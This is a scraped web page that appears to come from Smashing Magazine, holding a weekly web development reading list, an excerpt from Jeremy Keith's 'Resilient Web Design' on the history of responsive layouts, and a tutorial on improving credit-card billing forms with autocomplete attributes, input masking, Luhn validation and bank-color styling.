With GraphQL, FQL, and IndexedDB2, we have new tools at our fingertips that allow us to build products that are not only more flexible but also faster. With this week’s Web Development Reading List, we’ll dive a bit deeper into these promising technologies and combine this with thoughts about the openness of the internet, ethical choices, and building inclusive products. So without further ado, let’s get started!

Further Reading on SmashingMag: Link

News Link

  • Chrome 57 just hit stable, now the Chrome developer team announced Chrome 58 beta4. It includes IndexedDB2.0 support and improvements to iframe navigation. Among the smaller changes are also auto-pause/resume of video on Android when the window is in the background and the fact that HTTPS is now required for the Web Notifications API.

General Link

  • Matthias Ott points out that it’s about time that we take back control5, reclaim our digital future and rebuild the web so that it, finally, becomes a web for everyone. And with growing surveillance and even bigger data consolidation by a few big private players, it’s now up to us to recognize the errors we make and amend our decisions accordingly to create a better web — a web that is more accessible, more private, and more independent.
  • Quincy Larson wrote an essay about why the future of the open internet and our way of life6 is in our hands. By comparing the history of TV, radio, and telephone, he explains why it’s up to us to prevent that the internet goes through the same cycle of commercialization and privatization as the technologies that came before.
7
The open internet is in danger. Quincy Larson gives an overview of the dangers of commercialization and privatization8 and why it’s up to us to prevent the internet from becoming a walled garden. (Image credit9)

Tools & Workflows Link

  • Loren Sands-Ramshaw wrote a two-step guide on GraphQL (Part 110, Part 211), a relatively new query language that has better performance and is easier to handle as REST.

Security Link

  • The Chrome team concluded an investigation on the Symantec Root Certificate Authority12 and now discusses when and how to distrust the entire authority due to having misissued over 30.000 certificates. If the entity is mistrusted, GeoTrust, Thawte, and other certificate authorities will be affected by the decision as well since they’re operated by Symantec.

Privacy Link

HTML & SVG Link

Toggle buttons15
Heydon Pickering explains what it takes to get toggle buttons right16. (Image credit17)

Work & Life Link

  • Alex Castrounis shares why estimating software development tasks by time and time tracking don’t work and how you can still get pretty accurate estimations18 to calculate the progress and a deadline for a project.

Going Beyond… Link

  • It’s interesting to see that a growing number of people now seem to ask themselves how to do good work, and I think it’s because we realize that current developments are so bad that we as individuals think about what we can do to improve our society again. Mike Monteiro is one of those people who care deeply about ethics19, now he explains why ethics can’t be a side hustle20 and why you can’t shuffle yourself out of responsibility if you’re doing a non-ethical job as your main work. It’s true that you have to start somewhere, and doing simple things in your daily life can already help to improve our society, but, in the end, if you’re getting paid for non-ethical work, you’re actively helping and promoting this work. And nothing can make this undone.

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation21 or share this resource with other people. You can learn more about the costs of the project here22. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/07/the-wai-forward/
  2. 2 https://www.smashingmagazine.com/2016/11/a-quick-guide-for-designing-better-buttons/
  3. 3 https://www.smashingmagazine.com/2009/06/effective-strategy-to-estimate-time-for-your-design-projects/
  4. 4 https://blog.chromium.org/2017/03/chrome-58-beta-indexeddb-20_21.html?m=1
  5. 5 https://matthiasott.com/articles/going-indie-securing-privacy
  6. 6 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  7. 7 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  8. 8 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  9. 9 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  10. 10 https://www.compose.com/articles/use-all-the-databases-part-1/
  11. 11 https://www.compose.com/articles/use-all-the-databases-part-2/
  12. 12 https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/eUAKwjihhBs/rpxMXjZHCQAJ
  13. 13 https://motherboard.vice.com/en_us/article/senate-republicans-vote-to-allow-isps-to-sell-your-private-data
  14. 14 http://inclusive-components.club/toggle-button/
  15. 15 http://inclusive-components.club/toggle-button/
  16. 16 http://inclusive-components.club/toggle-button/
  17. 17 http://inclusive-components.club/toggle-button/
  18. 18 http://www.innoarchitech.com/why-software-development-time-estimation-does-not-work-alternative-approaches/
  19. 19 https://www.smashingmagazine.com/2016/11/web-development-reading-list-158/#work-life
  20. 20 https://deardesignstudent.com/ethics-cant-be-a-side-hustle-b9e78c090aee#.8p7pyqrw1
  21. 21 https://wdrl.info/donate
  22. 22 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook

The Road To Resilient Web Design

The Road To Resilient Web Design

Editor’s Note: In the world of web design, we tend to become preoccupied with the here and now. In “Resilient Web Design1“, Jeremy Keith emphasizes the importance of learning from the past in order to better prepare ourselves for the future. So, perhaps we should stop and think more beyond our present moment? The following is an excerpt from Jeremy’s web book.

Design adds clarity. Using colour, typography, hierarchy, contrast, and all the other tools at their disposal, designers can take an unordered jumble of information and turn it into something that’s easy to use and pleasurable to behold. Like life itself, design can win a small victory against the entropy of the universe, creating pockets of order from the raw materials of chaos.

Further Reading on SmashingMag: Link2

The Book of Kells is a beautifully illustrated manuscript created over 1200 years ago. It’s tempting to call it a work of art, but it is a work of design. The purpose of the book is to communicate a message; the gospels of the Christian religion. Through the use of illustration and calligraphy, that message is conveyed in an inviting context, making it pleasing to behold.

6
The incipit to the Gospel of Matthew in the Book of Kells. (Large preview7)

Design works within constraints. The Columban monks who crafted the Book of Kells worked with four inks on vellum, a material made of calfskin. The materials were simple but clearly defined. The cenobitic designers knew the hues of the inks, the weight of the vellum, and crucially, they knew the dimensions of each page.

Prints And The Revolution Link

Materials and processes have changed and evolved over the past millennium or so. Gutenberg’s invention of movable type was a revolution in production. Whereas it would have taken just as long to create a second copy of the Book of Kells as it took to create the first, multiple copies of the Gutenberg bible could be produced with much less labour. Even so, many of the design patterns such as drop caps and columns were carried over from illuminated manuscripts. The fundamental design process remained the same: knowing the width and height of the page, designers created a pleasing arrangement of elements.

Old style text in two columns.8
A page from Gutenberg’s Bible.

The techniques of the print designer reached their zenith in the 20th century with the rise of the Swiss Style. Its structured layout and clear typography is exemplified in the work of designers like Josef Müller‐Brockmann and Jan Tschichold. They formulated grid systems and typographic scales based on the preceding centuries of design.

A diagram demonstrating proportions.9
A framework for medieval manuscripts by Jan Tschichold. (Large preview10)

Knowing the ratio of the dimensions of a page, designers could position elements with maximum effect. The page is a constraint and the grid system is a way of imposing order on it.

Taking Your Talent To The Web Link

When the web began to conquer the world in the 1990s, designers started migrating from paper to pixels. David Siegel’s Creating Killer Websites came along at just the right time. Its clever TABLE and GIF hacks allowed designers to replicate the same kind of layouts that they had previously created for the printed page.

Those TABLE layouts later became CSS layouts, but the fundamental thinking remained the same: the browser window — like the page before it — was treated as a known constraint upon which designers imposed order.

There’s a problem with this approach. Whereas a piece of paper or vellum has a fixed ratio, a browser window could be any size. There’s no way for a web designer to know in advance what size any particular person’s browser window will be.

Designers had grown accustomed to knowing the dimensions of the rectangles they were designing within. The web removed that constraint.

If It Ain’t Fixed, Don’t Break It Link

There’s nothing quite as frightening as the unknown. These words of former US Secretary of Defense Donald Rumsfeld should be truly terrifying (although the general consensus at the time was that they sounded like nonsense):

There are known knowns. There are things we know we know. We also know there are known unknowns, that is to say we know there are some things we do not know. But there are also unknown unknowns — the ones we don’t know we don’t know.

The ratio of the browser window is just one example of a known unknown on the web. The simplest way to deal with this situation is to use flexible units for layout: percentages rather than pixels. Instead, designers chose to pretend that the browser dimensions were a known known. They created fixed‐width layouts for one specific window size.

In the early days of the web, most monitors were 640 pixels wide. Web designers created layouts that were 640 pixels wide. As more and more people began using monitors that were 800 pixels wide, more and more designers began creating 800 pixel wide layouts. A few years later, that became 1024 pixels. At some point web designers settled on the magic number of 960 pixels as the ideal width.

It was as though the web design community were participating in a shared consensual hallucination. Rather than acknowledge the flexible nature of the browser window, they chose to settle on one set width as the ideal …even if that meant changing the ideal every few years.

Not everyone went along with this web‐wide memo.

Dao Or Dao Not Link

In the year 2000 the online magazine A List Apart published an article entitled A Dao of Web Design. It has stood the test of time remarkably well.

In the article, John Allsopp points out that new mediums often start out by taking on the tropes of a previous medium. Scott McCloud makes the same point in his book Understanding Comics:

Each new medium begins its life by imitating its predecessors. Many early movies were like filmed stage plays; much early television was like radio with pictures or reduced movies.

With that in mind, it’s hardly surprising that web design began with attempts to recreate the kinds of layouts that designers were familiar with from the print world. As John put it:

“Killer Web Sites” are usually those which tame the wildness of the web, constraining pages as if they were made of paper — Desktop Publishing for the Web.

Web design can benefit from the centuries of learning that have informed print design. Massimo Vignelli, whose work epitomises the Swiss Style, begins his famous Canon with a list of The Intangibles including discipline, appropriateness, timelessness, responsibility, and more. Everything in that list can be applied to designing for the web. Vignelli’s Canon also includes a list of The Tangibles. That list begins with paper sizes.

The web is not print. The known constraints of paper — its width and height — simply don’t exist. The web isn’t bound by pre‐set dimensions. John Allsopp’s A Dao Of Web Design called on practitioners to acknowledge this:

The control which designers know in the print medium, and often desire in the web medium, is simply a function of the limitation of the printed page. We should embrace the fact that the web doesn’t have the same constraints, and design for this flexibility.

This call to arms went unheeded. Designers remained in their Matrix-like consensual hallucination where everyone’s browser was the same width. That’s understandable. There’s a great comfort to be had in believing a reassuring fiction, especially when it confers the illusion of control.

There is another reason why web designers clung to the comfort of their fixed‐width layouts. The tools of the trade encouraged a paper‐like approach to designing for the web.

Ship Of Tools Link

It’s a poor craftsperson who always blames their tools. And yet every craftsperson is influenced by their choice of tools. As Marshall McLuhan’s colleague John Culkin put it, “we shape our tools and thereafter our tools shape us.”

When the discipline of web design was emerging, there was no software created specifically for visualising layouts on the web. Instead designers co‐opted existing tools.

Adobe Photoshop was originally intended for image manipulation; touching up photos, applying filters, compositing layers, and so on. By the mid nineties it had become an indispensable tool for graphic designers. When those same designers began designing for the web, they continued using the software they were already familiar with.

If you’ve ever used Photoshop then you’ll know what happens when you select “New” from the “File” menu: you will be asked to enter fixed dimensions for the canvas you are about to work within. Before adding a single pixel, a fundamental design decision has been made that reinforces the consensual hallucination of an inflexible web.

Photoshop alone can’t take the blame for fixed‐width thinking. After all, it was never intended for designing web pages. Eventually, software was released with the specific goal of creating web pages. Macromedia’s Dreamweaver was an early example of a web design tool. Unfortunately it operated according to the idea of WYSIWYG: What You See Is What You Get.

While it’s true that when designing with Dreamweaver, what you see is what you get, on the web there is no guarantee that what you see is what everyone else will get. Once again, web designers were encouraged to embrace the illusion of control rather than face the inherent uncertainty of their medium.

It’s possible to overcome the built‐in biases of tools like Photoshop and Dreamweaver, but it isn’t easy. We might like to think that we are in control of our tools, that we bend them to our will, but the truth is that all software is opinionated software. As futurist Jamais Cascio put it, “software, like all technologies, is inherently political”:

Code inevitably reflects the choices, biases and desires of its creators.

Small wonder then that designers working with the grain of their tools produced websites that mirrored the assumptions baked into those tools — assumptions around the ability to control and tame the known unknowns of the World Wide Web.

Reality Bites Link

By the middle of the first decade of the twenty‐first century, the field of web design was propped up by multiple assumptions:

  • that everyone was browsing with a screen large enough to view a 960 pixel wide layout;
  • that everyone had broadband internet access, mitigating the need to optimise the number and file size of images on web pages;
  • that everyone was using a modern web browser with the latest plug‐ins installed.

A minority of web designers were still pleading for fluid layouts. I counted myself amongst their number. We were tolerated in much the same manner as a prophet of doom on the street corner wearing a sandwich board reading “The End Is Nigh” — an inconvenient but harmless distraction.

There were even designers suggesting that Photoshop might not be the best tool for the web, and that we could consider designing directly in the browser using CSS and HTML. That approach was criticised as being too constraining. As we’ve seen, Photoshop has its own constraints but those had been internalised by designers so comfortable in using the tool that they no longer recognised its shortcomings.

This debate around the merits of designing Photoshop comps and designing in the browser would have remained largely academic if it weren’t for an event that would shake up the world of web design forever.

Stuck Inside Of Mobile Link

An iPod. A phone. And an internet communicator. An iPod. A phone …are you getting it? These are not three separate devices. This is one device. And we are calling it: iPhone.

With those words in 2007, Steve Jobs unveiled a mobile device that could be used to browse the World Wide Web.

A web page on the screen of a mobile phone.11
The iPhone. (Large preview12)

Web‐capable mobile devices existed before the iPhone, but they were mostly limited to displaying a specialised mobile‐friendly file format called WML. Very few devices could render HTML. With the introduction of the iPhone and its competitors, handheld devices were shipping with modern web browsers capable of being first‐class citizens on the web. This threw the field of web design into turmoil.

Assumptions that had formed the basis for an entire industry were now being called into question:

  • How do we know if people are using wide desktop screens or narrow handheld screens?
  • How do we know if people are browsing with a fast broadband connection at home or with a slow mobile network?
  • How do we know if a device even supports a particular technology or plug‐in?

The rise of mobile devices was confronting web designers with the true nature of the web as a flexible medium filled with unknowns.

The initial reaction to this newly‐exposed reality involved segmentation. Rather than rethink the existing desktop‐optimised website, what if mobile devices could be shunted off to a separate silo? This mobile ghetto was often at a separate subdomain to the “real” site: m.example.com or mobile.example.com.

This segmented approach was bolstered by the use of the term “the mobile web” instead of the more accurate term “the web as experienced on mobile.” In the tradition of their earlier consensual hallucinations, web designers were thinking of mobile and desktop not just as separate classes of device, but as entirely separate websites.

Determining which devices were sent to which subdomain required checking the browser’s user‐agent string against an ever‐expanding list of known browsers. It was a Red Queen’s race just to stay up to date. As well as being error‐prone, it was also fairly arbitrary. While it might have once been easy to classify, say, an iPhone as a mobile device, that distinction grew more difficult over time. With the introduction of tablets such as the iPad, it was no longer clear which devices should be redirected to the mobile URL. Perhaps a new subdomain was called for — t.example.com or tablet.example.com — along with a new term like “the tablet web”. But what about the “TV web” or the “internet‐enabled fridge web?”

We Are One Link

The practice of creating different sites for different devices just didn’t scale. It also ran counter to a long‐held ideal called One Web:

One Web means making, as far as is reasonable, the same information and services available to users irrespective of the device they are using.

But this doesn’t mean that small‐screen devices should be served page layouts that were designed for larger dimensions:

However, it does not mean that exactly the same information is available in exactly the same representation across all devices.

If web designers wished to remain true to the spirit of One Web, they needed to provide the same core content at the same URL to everyone regardless of their device. At the same time, they needed to be able to create different layouts depending on the screen real‐estate available.

The shared illusion of a one‐size‐fits‐all approach to web design began to evaporate. It was gradually replaced by an acceptance of the ever‐changing fluid nature of the web.

Positive Response Link

In April of 2010 Ethan Marcotte stood on stage at An Event Apart in Seattle, a gathering for people who make websites. He spoke about an interesting school of thought in the world of architecture: responsive design, the idea that buildings could change and adapt according to the needs of the people using the building. This, he explained, could be a way to approach making websites.

One month later he expanded on this idea in an article called Responsive Web Design. It was published on A List Apart, the same website that had published John Allsopp’s A Dao Of Web Design ten years earlier. Ethan’s article shared the same spirit as John’s earlier rallying cry. In fact, Ethan begins his article by referencing A Dao Of Web Design.

Both articles called on web designers to embrace the idea of One Web. But whereas A Dao Of Web Design was largely rejected by designers comfortable with their WYSIWYG tools, Responsive Web Design found an audience of designers desperate to resolve the mobile conundrum.

The Adjacent Possible Link

Writer Steven Johnson has documented the history of invention and innovation. In his book Where Good Ideas Come From, he explores an idea called “the adjacent possible”:

At every moment in the timeline of an expanding biosphere, there are doors that cannot be unlocked yet. In human culture, we like to think of breakthrough ideas as sudden accelerations on the timeline, where a genius jumps ahead fifty years and invents something that normal minds, trapped in the present moment, couldn’t possibly have come up with. But the truth is that technological (and scientific) advances rarely break out of the adjacent possible; the history of cultural progress is, almost without exception, a story of one door leading to another door, exploring the palace one room at a time.

This is why the microwave oven could not have been invented in medieval France; there are too many preceding steps required — manufacturing, energy, theory — to make that kind of leap. Facebook could not exist without the World Wide Web, which could not exist without the internet, which could not exist without computers, and so on. Each step depends upon the accumulated layers below.

By the time Ethan coined the term Responsive Web Design a number of technological advances had fallen into place. As I wrote in the foreword to Ethan’s subsequent book on the topic:

The technologies existed already: fluid grids, flexible images, and media queries. But Ethan united these techniques under a single banner, and in so doing changed the way we think about web design.

  1. Fluid grids. The option to use percentages instead of pixels has been with us since the days of TABLE layouts.
  2. Flexible images. Research carried out by Richard Rutter showed that browsers were becoming increasingly adept at resizing images. The intrinsic dimensions of an image need not be a limiting factor.
  3. Media queries. Thanks to the error‐handling model of CSS, browsers had been adding feature upon feature over time. One of those features was CSS media queries — the ability to define styles according to certain parameters, such as the dimensions of the browser window.

The layers were in place. A desire for change — driven by the relentless rise of mobile — was also in place. What was needed was a slogan under which these could be united. That’s what Ethan gave us with Responsive Web Design.

Changing Mindset Link

The first experiments in responsive design involved retrofitting existing desktop‐centric websites: converting pixels to percentages, and adding media queries to remove the grid layout on smaller screens. But this reactive approach didn’t provide a firm foundation to build upon. Fortunately another slogan was able to encapsulate a more resilient approach.

Luke Wroblewski coined the term Mobile First in response to the ascendency of mobile devices:

Losing 80% of your screen space forces you to focus. You need to make sure that what stays on the screen is the most important set of features for your customers and your business. There simply isn’t room for any interface debris or content of questionable value. You need to know what matters most.

If you can prioritise your content and make it work within the confined space of a small screen, then you will have created a robust, resilient design that you can build upon for larger screen sizes.

Stephanie and Bryan Rieger encapsulated the mobile‐first responsive design approach:

The lack of a media query is your first media query.

In this context, Mobile First is less about mobile devices per se, and instead focuses on prioritising content and tasks regardless of the device. It discourages assumptions. In the past, web designers had fallen foul of unfounded assumptions about desktop devices. Now it was equally important to avoid making assumptions about mobile devices.

Web designers could no longer make assumptions about screen sizes, bandwidth, or browser capabilities. They were left with the one aspect of the website that was genuinely under their control: the content.

Echoing A Dao Of Web Design, designer Mark Boulton put this new approach into a historical context:

Embrace the fluidity of the web. Design layouts and systems that can cope to whatever environment they may find themselves in. But the only way we can do any of this is to shed ways of thinking that have been shackles around our necks. They’re holding us back.

Start designing from the content out, rather than the canvas in.

This content‐out way of thinking is fundamentally different to the canvas‐in approach that dates all the way back to the Book of Kells. It asks web designers to give up the illusion of control and create a materially‐honest discipline for the World Wide Web.

Relinquishing control does not mean relinquishing quality. Quite the opposite. In acknowledging the many unknowns involved in designing for the web, designers can craft in a resilient flexible way that is true to the medium.

Texan web designer Trent Walton was initially wary of responsive design, but soon realised that it was a more honest, authentic approach than creating fixed‐width Photoshop mock‐ups:

My love for responsive centers around the idea that my website will meet you wherever you are — from mobile to full‐blown desktop and anywhere in between.

For years, web design was dictated by the designer. The user had no choice but to accommodate the site’s demand for a screen of a certain size or a network connection of a certain speed. Now, web design can be a conversation between the designer and the user. Now, web design can reflect the underlying principles of the web itself.

On the twentieth anniversary of the World Wide Web, Tim Berners‐Lee wrote an article for Scientific American in which he reiterated those underlying principles:

The primary design principle underlying the Web’s usefulness and growth is universality. The Web should be usable by people with disabilities. It must work with any form of information, be it a document or a point of data, and information of any quality — from a silly tweet to a scholarly paper. And it should be accessible from any kind of hardware that can connect to the Internet: stationary or mobile, small screen or large.

References Link

  1. A Dao of Web Design13 by John Allsopp
  2. The Vignelli Canon14 by Massimo Vignelli
  3. Openness and the Metaverse Singularity15 by Jamais Cascio
  4. One Web16 by Jo Rabin and Charles McCathieNevile
  5. Responsive Web Design17 by Ethan Marcotte
  6. A Richer Canvas18 by Mark Boulton
  7. Fit To Scale19 by Trent Walton
  8. Long Live the Web: A Call for Continued Open Standards and Neutrality20 by Tim Berners‐Lee

(yk, il)

Footnotes Link

  1. 1 https://resilientwebdesign.com/
  2. 2 https://www.smashingmagazine.com/2016/11/building-shaders-with-babylon-js/#further-reading-on-smashingmag
  3. 3 https://www.smashingmagazine.com/2016/11/css-inheritance-cascade-global-scope-new-old-worst-best-friends/
  4. 4 https://www.smashingmagazine.com/2017/02/improving-ui-design-skills-copywork/
  5. 5 https://www.smashingmagazine.com/2011/11/pursuing-semantic-value/
  6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/03/book-of-kells-large-opt.jpg
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/03/book-of-kells-large-opt.jpg
  8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/03/gutenberg-bible-preview-opt.jpg
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/03/jan-tchichold-medieval-manuscript-framework-large-opt.png
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/03/jan-tchichold-medieval-manuscript-framework-large-opt.png
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/03/iphone-large-opt.jpg
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/03/iphone-large-opt.jpg
  13. 13 http://alistapart.com/article/dao
  14. 14 http://www.vignelli.com/canon.pdf
  15. 15 http://www.kurzweilai.net/openness-and-the-metaverse-singularity
  16. 16 https://www.w3.org/TR/mobile-bp/#OneWeb
  17. 17 http://alistapart.com/article/responsive-web-design
  18. 18 http://markboulton.co.uk/journal/a-richer-canvas
  19. 19 http://trentwalton.com/2011/05/10/fit-to-scale/
  20. 20 https://www.scientificamerican.com/article/long-live-the-web/

↑ Back to topTweet itShare on Facebook

Improve Your Billing Form’s UX In One Day

Improve Your Billing Form’s UX In One Day

The checkout page is the last page a user visits before finally decide to complete a purchase on your website. It’s where window shoppers turn into paying customers. If you want to leave a good impression, you should provide optimal usability of the billing form and improve it wherever it is possible to. In less than one day, you can add some simple and useful features to your project to make your billing form user-friendly and easy to fill in.

Further Reading on SmashingMag: Link

Credit-card details are among the most commonly corrected fields in forms. Fortunately, nowadays almost every popular browser has an autofill feature, allowing the users to store their card data in the browser and to fill out form fields more quickly. Also, since iOS 8, mobile Safari users can scan their card’s information with the iPhone’s camera and fill in their card’s number, expiration date and name fields automatically. Autocomplete is simple, clear and built into HTML5, so we’ll add it to our form first.

Both autofill and card-scanning work only with forms that have special attributes: autocomplete for modern browsers (listed in the HTML5 standard5) and name for browsers without HTML5 support.

Note: A demo with all the functions covered below is available6. You can find its code in the GitHub repository7.

Credit cards have specific autofill attributes. For autocomplete:

  • cc-name
  • cc-number
  • cc-csc
  • cc-exp-month
  • cc-exp-year
  • cc-exp
  • cc-type
  • cc-csc

For name:

  • ccname
  • cardnumber
  • cvc
  • ccmonth
  • ccyear
  • expdate
  • card-type
  • cvc

To use autofill, you should add the relevant autocomplete and name attributes for the input elements in your index.html file:

<input type="text" placeholder="XXXX XXXX XXXX XXXX" pattern="[0-9]{14,23}" required autofocus autocomplete="cc-number" name="cardnumber"> <input type="text" placeholder="MM" pattern="[0-9]{1,2}" required autocomplete="cc-exp-month" name="ccmonth"> <input type="text" placeholder="YYYY" pattern="[0-9]{2,4}" required autocomplete="cc-exp-year" name="ccyear"> <input type="text" placeholder="CARDHOLDER NAME" required autocomplete="cc-name" name="ccname"> 

Don’t forget to use placeholder in input fields to help users understand the required data formats. We can provide input validation with HTML5 attributes: pattern (based on JavaScript regular expressions) and required. For example, with pattern="[0-9s]{14,23}" required attributes in a field, the user won’t be able to submit the form if the field is empty, has a non-numeric or non-space symbol, or is shorter than 14 symbols or longer than 23 symbols.

Once the user has saved their card data in the browser, we can see how it works:

8
Autocomplete sample in Google Chrome browser

Notice that using one field for the expiration date (MM/YYYY) is not recommended because Safari requires separate month and year fields to autocomplete.

Of course, autocomplete and autofill attributes are widely used not only for billing forms but also for names, email and postal addresses and passwords. You can save the user time and make them even happier by correctly using these attributes in your forms.

Even though we now have autocomplete, Google Payments and Apple Wallet, many users still prefer to enter their credit-card details manually, and no one is safe from making a typo with a 16-digit number. Long numbers are hard to read, even more painful to write and almost impossible to verify.

To help users feel comfortable with their long card number, we can divide it into four-digit groups by adding the simple VanillaMasker9 library by BankFacil to our project. Inputted data will be transformed to a masked string. So, we can add a custom pattern with spaces after every fourth digit of a card number, a two-digit pattern for the expiration month and a four-digit pattern for the expiration year. VanillaMasker can also verify data formats: If we have passed only “9” (the default number for the masker) to the ID, then all non-numeric characters will be deleted after input.

npm install vanilla-masker --save 

In our index.js file, let’s import the library and use it with one string for every field:

import masker from 'vanilla-masker'; const cardNumber = document.getElementById('card__input_number'); const cardMonth = document.getElementById('card__input_month'); const cardYear = document.getElementById('card__input_year'); masker(cardNumber).maskPattern('9999 9999 9999 9999 99'); masker(cardMonth).maskPattern('99'); masker(cardYear).maskPattern('9999'); 

Thus, the digits of the card number in our form will be separated, like on a real card:

VanillaMasker example10
VanillaMasker in action

The masker will erase characters with an incorrect value type or length, although our HTML validation will notify the user about invalid data only after the form has been submitted. But we can also check a card number’s correctness as it is being filled in. Did you know that all plastic credit-card numbers are generated according to the simple and effective Luhn algorithm? It was created in 1954 by Hans Peter Luhn and subsequently set as an international standard. We can include the Luhn algorithm to pre-validate the card number’s input field and warn the user about a typo.

To do this, we can use the tiny fast-luhn11 npm package, adapted from Shirtless Kirk’s gist12. We need to add it to our project’s dependencies:

npm install fast-luhn --save 

To use fast-luhn, we’ll import it in a module and just call luhn(number) on the input event to check whether the number is correct. For example, let’s add the card__input_invalid class to change the outline and field’s text color when the user has made an accidental error and a check has not been passed. Note that VanillaMasker adds a space after every four-digit group, so we need to convert the inputted value to a plain number without spaces using the split and join methods, before calling lunh.

The result is code that looks like this:

import luhn from 'fast-luhn'; const cardNumber = document.getElementById('card-number'); cardNumber.addEventListener('input', (event) => { const number = event.target.value; if (number.length >= 14) { const isLuhnCheckPassed = luhn(number.split(' ').join('')); cardNumber.classList.toggle('card__input_invalid', !isLuhnCheckPassed); cardNumber.classList.toggle('card__input_valid', isLuhnCheckPassed); } else { cardNumber.classList.remove('card__input_invalid', 'card__input_valid'); } }); 

To prevent luhn from being called while the user is typing, let’s call it only if the inputted number is as long as the minimum length with spaces (14 characters, including 12 digits) or longer, or else remove the card__input_invalid class.

Here are the validation examples in action:

Fast-luhn example13
Validation example with fast-luhn

The Luhn algorithm is also used for some discount card numbers, IMEI numbers, National Provider Identifier numbers in the US, and Social Insurance Numbers in Canada. So, this package isn’t limited to credit cards.

Many users want to check their card details with their own eyes, even if they know the form is being validated. But human beings perceive things in a way that makes comparison of differently styled numbers a little confusing. As we want the interface to be simple and intuitive, we can help users by showing a font that looks similar to the one they would find on a real card. Also, the font will make our card-like input form look more realistic and appropriate.

Several free credit-card fonts are available:

We’ll use Halter. First, download the font, place it in the project’s folder, and create a CSS3 @font-face rule in style.css:

@font-face { font-family: Halter; src: url(font/HALTER__.ttf); } 

Then, simply add it to the font-family rule for the .card-input class:

.card-input { color: #777; font-family: Halter, monospace; } 

Don’t forget that if you input the CSS in a JavaScript file with the webpack bundle, you’ll need to add file-loader:

npm install file-loader --save 

And add file-loader for the font file types in webpack.config.js:

module: { loaders: [ { test: /.(ttf|eot|svg|woff(2)?)(?[a-z0-9=&.]+)?$/, loader: 'file', }], }, 

The result looks pretty good:

Halter example17
Halter font on the card form

You can make it even fancier, if you like, with an embossed effect using a double text-shadow and a semi-transparency on the text’s color:

.card-input { color: rgba(84,110,122,0.5); text-shadow: -0.75px -0.75px white, 0.75px 0.75px 0 black; font-family: Halter, monospace; } 
Halter with double shadow example18
Halter font with text-shadow

Last but not least, you can pleasantly surprise customers by adding a coloring feature to the form. Every bank has its own brand color, which usually dominates that bank’s card. To make a billing form even more user-friendly, we can use this color and print the bank’s name above the form fields (corresponding to where it appears on a real card). This will also help the user to avoid making a typo in the number and to ensure they have picked the right card.

We can identify the bank of every user’s card by the first six digits, which contain the Issuer Identification Number (IIN) or Bank Identification Number (BIN). Banks DB19 by Ramoona is a database that gets a bank’s name and brand color from this prefix. The author has set up a demo of Banks DB20.

This database is community-driven, so it doesn’t contain all of the world’s bank. If a user’s bank isn’t represented, the space for the bank’s name will be empty and the background will show the default color (#fafafa).

Banks DB assumes one of two ways of using it: with PostCSS or with CSS in JavaScript. We are using it with PostCSS. If you are new to PostCSS, this is a good reason to start using it. You can learn more about PostCSS in the official documentation21 or in Drew Minns’ article “An Introduction to PostCSS22”.

We need to install the PostCSS Banks DB23 plugin to set the CSS template for Banks DB and install the PostCSS Contrast24 plugin to improve the readability of the bank’s name:

npm install banks-db postcss-banks-db postcss-contrast --save 

After that, we’ll add these new plugins to our PostCSS process in accordance with the module bundler and the load configuration used in our project. For example, with Webpack and postcss-load-config25, simply add the new plugins to the .postcssrc file.

Then, in our style.css file, we need to add a new class rule template for Banks DB with the postcss-contrast plugin:

@banks-db-template { .card_bank-%code% { background-color: %color%; color: contrast(%color%); } } 

We could also set a long transition on the whole .card class to smoothly fade in and out the background and text color, so as not to startle users with an abrupt change:

.card { … transition: background 0.6s, color 0.6s; } 

Now, import Banks DB in index.js, and use it in the input event listener. If the BIN is represented in the database, we’ll add the class containing the bank’s name to the form in order to insert the name and change the form’s background.

import banksDB from 'banks-db'; const billingForm = document.querySelector('.card'); const bankName = document.querySelector('.card__bank-name'); const cardNumber = document.getElementById('card__input_number'); cardNumber.addEventListener('input', (event) => { const number = event.target.value; const bank = banksDB(number); if (bank.code) { billingForm.classList.add(`card_bank-${(bank.code || 'other')}`); bankName.innerText = bank.country === 'ru' ? bank.localTitle : bank.engTitle; } else { billingForm.className = 'card'; bankName.innerText = ''; } }); 

If you use webpack, add json-loader for the .json file extension to webpack’s configuration in order to input the database in the bundle correctly.

Here is a working example of Banks DB:

Banks DB example26
Form coloring with Banks DB

In case you see no effect with your bank card, you can open an issue or add your bank to the database.27

Conclusion Link

Improving your billing form can make the user experience much more intuitive and, as a result, ensure user convenience and increase confidence in your product. It’s an important part of web applications. We can improve it quickly and easily using these simple features:

  • suitable autocomplete and name attributes for autofilling,
  • placeholder attribute to inform the user of the input format,
  • pattern and require attributes to prevent incorrect submission of form,
  • VanillaMasker to separate card digits,
  • fast-luhn to verify the card number,
  • Halter font for easy comparison,
  • Banks DB for a nicer presentation of colors.

Note that only Banks DB requires a module bundler; you can use the others within the simple script. Adding all of this functionality to your checkout page would most likely take less than a day.

(rb, al, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/10/reducing-abandoned-shopping-carts/
  2. 2 https://www.smashingmagazine.com/2012/06/form-field-validation-errors-only-approach/
  3. 3 https://www.smashingmagazine.com/2011/04/fundamental-guidelines-of-e-commerce-checkout-design/
  4. 4 https://www.smashingmagazine.com/2011/11/extensive-guide-web-form-usability/
  5. 5 https://html.spec.whatwg.org/multipage/forms.html#inappropriate-for-the-control
  6. 6 https://billing-form.herokuapp.com/
  7. 7 https://github.com/gretchenfitze/billing-form
  8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/01/1-autocomplete.gif
  9. 9 https://github.com/BankFacil/vanilla-masker
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/01/2-masker.gif
  11. 11 https://www.npmjs.com/package/fast-luhn
